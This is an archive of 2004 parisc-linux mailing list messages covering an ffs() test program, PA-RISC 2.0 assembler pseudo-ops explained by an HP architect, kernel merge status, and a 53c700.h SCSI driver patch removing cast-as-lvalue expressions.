	printf("Computing ffs() for i =3D %u to %u...\n", 0, 0xffffffffU);
	for (i=3D0x0UL; i<0xffffffffUL; i++) {
		if ( generic_ffs(i) !=3D ULffs(i) ) {
			printf("i =3D %#010x (%u)\n", i, i);
			printf("generic_ffs() =3D %u\n", generic_ffs(i));
			printf("ffs() =3D %u\n", ULffs(i));
		}
	}
	printf("i=3D %#010x (%u), finished.\n", i, i);
#else
	for (i=3D0xfffffffUL; i<0xf00000000UL; i++) {
		if ( generic_ffs(i) !=3D ULffs(i) ) {
			print1("i =3D ", i);
			print1("generic_ffs() =3D ", generic_ffs(i));
			print1("ffs() =3D ", ULffs(i));
		}
	}
#endif
}

I compile it with James 64bit lib with hppa64-linux-gcc (3.0.4) and run
it on a b2k (64bit cpu) with 2.6.8-rc2-pa7 64bit.
That's a long test (reason of delay) but it works fine.

I also test the 32bit binaries (compile with gcc-3.3.4) runing on the b2k=

with same kernel and it also works fine.

Please note that I have to abuse the original ffs() code with ULffs() and=

an unsigned long (64bit long for hppa64-gcc) as parameter (the original
was an integer of 32bit long for 64bit and 32bit gcc).

hth,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Should I read SHR[DW] as SHRP[DW] in parisc2.pdf?
Date: Wed, 11 Aug 2004 19:35:24 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <40FB9ACA0000BB69@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624467 25664 80.91.229.3 (22 Nov 2014 02:47:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:47 +0000 (UTC)
To: "List Parisc" <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29602 invoked by uid 65534); 11 Aug 2004 17:36:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx004) with SMTP; 11 Aug 2004 19:36:28 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0A6913BE25; Wed, 11 Aug 2004 11:36:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02138-07; Wed, 11 Aug 2004 11:36:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1F2323BE20; Wed, 11 Aug 2004 11:35:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D92C03BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 11:35:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02119-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 11:35:27 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 99FCF3BDFA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 11:35:26 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 18DBD4946AA; Wed, 11 Aug 2004 11:35:26 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id 90B574946A5
	for <parisc-linux@parisc-linux.org>;
	Wed, 11 Aug 2004 11:35:25 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 11 Aug 2004 19:35:24 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24889

Hi all,

About parisc 2.0 insn set at pages 7-49 and 7-51 I read SHRD,S,cond ...
and SHRW,S,cond ... but I don't find this mnemonic elsewhere in this book=
;
should I better read SHRPD and SHRPW respectively (mnemonic well defined)=
?

Thanks in advance for help,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim.hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Should I read SHR[DW] as SHRP[DW] in parisc2.pdf?
Date: Thu, 12 Aug 2004 10:41:53 -0700
Lines: 99
Approved: news@gmane.org
Message-ID: <200408121741.KAA29481@lucy.cup.hp.com>
References: <40FB9ACA0000BB69@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624468 25666 80.91.229.3 (22 Nov 2014 02:47:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:48 +0000 (UTC)
To: "'Joel Soete'" <soete.joel@tiscali.be>,
 "'List Parisc'" <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30997 invoked by uid 65534); 12 Aug 2004 17:42:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 12 Aug 2004 19:42:40 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 27BC83BE07; Thu, 12 Aug 2004 11:42:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15607-02; Thu, 12 Aug 2004 11:42:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7A9D23BE14; Thu, 12 Aug 2004 11:42:05 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7DBF3BDF9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 11:41:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14769-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 11:41:58 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A3A793BDE2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 11:41:58 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 351414946C1; Thu, 12 Aug 2004 11:41:58 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by palinux.hppa (Postfix) with ESMTP id 8FC604946A5
	for <parisc-linux@parisc-linux.org>;
	Thu, 12 Aug 2004 11:41:57 -0600 (MDT)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel13.hp.com (Postfix) with ESMTP
	id BAEA71C0FA88; Thu, 12 Aug 2004 10:41:56 -0700 (PDT)
Original-Received: from jh733133 (dhcp42uvi498.cup.hp.com [15.244.99.244])
	by lucy.cup.hp.com (8.9.3 (PHNE_28809+JAGae91741)/8.9.3 SMKit7.02) with
	ESMTP id KAA29481; Thu, 12 Aug 2004 10:41:56 -0700 (PDT)
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
In-reply-to: <40FB9ACA0000BB69@ocpmta1.freegates.net>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441
Thread-Index: AcR/+cAe+ZldXFgBSiyyDcLA9gdqOQAk8ACg
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24890

Joel:

No.  SHRD and SHRW are not the same operations as SHRPD and SHRPW.  SHRD and
SHRW are not "real" machine instructions - they are pseudo-ops that the
assembler is supposed to recognize and convert to the appropriate "real"
instructions, in this case, EXTRD and EXTRW, respectively.  These pseudo-ops
exist solely for the convenience of the assembly programmer.  Rather than having
to remember that to do a right-shift operation, you need to code an EXTR[DW],
and figure out the correct pos and len arguments, you just write SHR[DW].

Similarly, SHLD (see notes on DEPD page), and SHLW (see notes on DEPW page) are
pseudo-ops for doing left-shifts.

Does the PA2.0 gnu assembler not recognize these (and other) pseudo-ops?  I'll
be the first to admit that we didn't do a very good job of documenting all the
PA2.0 pseudo-ops.  You might have expected a nice summary table in Appendix J,
but although the PA1.1 to PA2.0 pseudo-ops are there, the regular PA2.0 ones
aren't.  The only good way to find them all is to do a search for "pseudo" in
the PDF.

Here's what my search of:

 
http://h21007.www2.hp.com/dspp/files/unprotected/parisc20/PA_7_inst_descriptions
.pdf

found:

PDF Page  Page Number  Pseudo-Op           Real Instruction
-----------------------------------------------------------------------
13        7-11         B,n target          B,L,n target,%R0
                       CALL,n target       B,L,n target,%R2

23        7-21         CALL,n (b)          BVE,L,n (b),%R2
                       RET,n               BE,n (%R2)

41        7-39         SHLD,cond r,sa,t    DEPD,Z,cond r,63-sa,64-sa,t
                       SHLW,cond r,sa,t    DEPW,Z,cond r,31-sa,32-sa,t

51        7-49         SHRD,S,cond r,sa,t  EXTRD,S,cond r,63-sa,64-sa,t
                       SHRD,U,cond r,sa,t  EXTRD,U,cond r,63-sa,64-sa,t

53        7-51         SHRW,S,cond r,sa,t  EXTRW,S,cond r,31-sa,32-sa,t
                       SHRW,U,cond r,sa,t  EXTRW,U,cond r,31-sa,32-sa,t

85        7-83         LDI i,t             LDO i(0),t
                       COPY r,t            LDO 0(r),t

100       7-98         MTSAR r             MTCTL r,%SAR

105       7-103        NOP                 OR %R0,%R0,%R0

 -- Jim Hull
    PA-RISC/Itanium Processor Architect

> -----Original Message-----
> From: parisc-linux-bounces@lists.parisc-linux.org 
> [mailto:parisc-linux-bounces@lists.parisc-linux.org] On 
> Behalf Of Joel Soete
> Sent: Wednesday, August 11, 2004 10:35 AM
> To: List Parisc
> Subject: [parisc-linux] Should I read SHR[DW] as SHRP[DW] in 
> parisc2.pdf?
> 
> Hi all,
> 
> About parisc 2.0 insn set at pages 7-49 and 7-51 I read 
> SHRD,S,cond ...
> and SHRW,S,cond ... but I don't find this mnemonic elsewhere 
> in this book;
> should I better read SHRPD and SHRPW respectively (mnemonic 
> well defined)?
> 
> Thanks in advance for help,
>     Joel
> 
> --------------------------------------------------------------
> -------------
> Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le 
> moment de faire
> le pas!
> http://reg.tiscali.be/default.asp?lg=fr
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge status update
Date: Tue, 17 Aug 2004 23:21:00 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20040818052100.GA4924@colo.lackof.org>
References: <20040814210807.GX12936@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624468 25668 80.91.229.3 (22 Nov 2014 02:47:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:48 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13237 invoked by uid 65534); 18 Aug 2004 05:22:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx017) with SMTP; 18 Aug 2004 07:22:17 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CF6573BE68; Tue, 17 Aug 2004 23:21:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18153-08; Tue, 17 Aug 2004 23:21:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2CC273BE52; Tue, 17 Aug 2004 23:21:10 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB3E13BE05
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Aug 2004 23:21:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18153-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Aug 2004 23:21:04 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 760B83BDE2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Aug 2004 23:21:04 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id D0A384946B8; Tue, 17 Aug 2004 23:21:03 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 5E5834946AA
	for <parisc-linux@parisc-linux.org>;
	Tue, 17 Aug 2004 23:21:03 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 15803298059; Tue, 17 Aug 2004 23:21:01 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04689-07; Tue, 17 Aug 2004 23:21:00 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 407F2298033; Tue, 17 Aug 2004 23:21:00 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040814210807.GX12936@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24891

On Sat, Aug 14, 2004 at 10:08:07PM +0100, Matthew Wilcox wrote:
> The remainder:
> -rw-r--r--    1 willy    willy       20803 Aug 14 14:58 one.diff
> is composed of:
...
>  - tulip MII changes that someone needs to engage jgarzik in
>    bare-knuckle boxing over.

akpm (Andrew Morton) said I should send those to him.
My plan was to refresh the two sets of changes I have for tulip that
jgarzik hasn't accepted (because of udelay() calls). Then send those
to akpm + linux-net + jgarzik and ask innocently if there is
a better way to do the udelay() (someone suggested msleep() might be
an option).

> So a lot of minor stuff, but it's still not possible to build parisc
> out of Linus' tree ;-(

Well, don't despair. We really are not that far off.
Just need more time to work on it. I'm starting to feel a need for
another 3month unpaid leave of absence...maybe next summer...

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 53c700.h backport (solve: use cast of expressions as
	lvalue...)
Date: Thu, 19 Aug 2004 09:30:13 +0000
Lines: 94
Approved: news@gmane.org
Message-ID: <412135A800001B16@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624468 25670 80.91.229.3 (22 Nov 2014 02:47:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:48 +0000 (UTC)
To: James.Bottomley@steeleye.com,
 "List Parisc" <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15863 invoked by uid 65534); 19 Aug 2004 09:31:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 19 Aug 2004 11:31:15 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6E52B3BDDD; Thu, 19 Aug 2004 03:31:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09257-05; Thu, 19 Aug 2004 03:31:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2BA1B3BDE2; Thu, 19 Aug 2004 03:30:26 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 320623BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Aug 2004 03:30:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09257-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Aug 2004 03:30:19 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C0A4F3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Aug 2004 03:30:18 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 27F53494752; Thu, 19 Aug 2004 03:30:18 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id 566ED494751
	for <parisc-linux@parisc-linux.org>;
	Thu, 19 Aug 2004 03:30:17 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 19 Aug 2004 11:30:13 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24892

Hello James,

Here is a small patch backport stuff into 53c700.h to cleanup warning: us=
e
cast of expressions as lvalue is deprecated)

diff -NaurX ../dontdiff linux-2.4.27-pa1/drivers/scsi/53c700.h linux-2.4.=
27-rc4-pa7MM/drivers/scsi/53c700.h
--- linux-2.4.27-pa1/drivers/scsi/53c700.h	2002-06-06 09:55:58.000000000
+0200
+++ linux-2.4.27-rc4-pa7MM/drivers/scsi/53c700.h	2004-07-07 13:41:03.0000=
00000
+0200
@@ -109,18 +109,25 @@
 static inline void
 NCR_700_set_SXFER(Scsi_Device *SDp, __u8 sxfer)
 {
-	((unsigned long)SDp->hostdata) &=3D 0xffffff00;
-	((unsigned long)SDp->hostdata) |=3D sxfer & 0xff;
+	unsigned long l =3D (unsigned long)SDp->hostdata;
+
+	l &=3D 0xffffff00;
+	l |=3D sxfer & 0xff;
+	SDp->hostdata =3D (void *)l;
 }
-static inline __u8 NCR_700_get_SXFER(Scsi_Device *SDp)
+static inline __u8
+NCR_700_get_SXFER(Scsi_Device *SDp)
 {
 	return (((unsigned long)SDp->hostdata) & 0xff);
 }
 static inline void
 NCR_700_set_depth(Scsi_Device *SDp, __u8 depth)
 {
-	((unsigned long)SDp->hostdata) &=3D 0xffff00ff;
-	((unsigned long)SDp->hostdata) |=3D (0xff00 & (depth << 8));
+	unsigned long l =3D (unsigned long)SDp->hostdata;
+
+	l &=3D 0xffff00ff;
+	l |=3D (0xff00 & (depth << 8));
+	SDp->hostdata =3D (void *)l;
 }
 static inline __u8
 NCR_700_get_depth(Scsi_Device *SDp)
@@ -140,12 +147,18 @@
 static inline void
 NCR_700_set_flag(Scsi_Device *SDp, __u32 flag)
 {
-	((unsigned long)SDp->hostdata) |=3D (flag & 0xffff0000);
+	unsigned long l =3D (unsigned long)SDp->hostdata;
+
+	l |=3D (flag & 0xffff0000);
+	SDp->hostdata =3D (void *)l;
 }
 static inline void
 NCR_700_clear_flag(Scsi_Device *SDp, __u32 flag)
 {
-	((unsigned long)SDp->hostdata) &=3D ~(flag & 0xffff0000);
+	unsigned long l =3D (unsigned long)SDp->hostdata;
+
+	l &=3D ~(flag & 0xffff0000);
+	SDp->hostdata =3D (void *)l;
 }
 
 /* These represent the Nexus hashing functions.  A Nexus in SCSI terms
=3D=3D=3D=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D=3D=3D=3D

mmm just a small diff versus your 2.6: I choose l (ell) as 'unsigned long=
'
because afaik hostdata is a 'void *'

Please advise.

Joel

PS: If ok can you ci for me (no ci access to cvs) ;)
 

-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merge status update
Date: Sat, 14 Aug 2004 22:08:07 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20040814210807.GX12936@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624469 25673 80.91.229.3 (22 Nov 2014 02:47:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
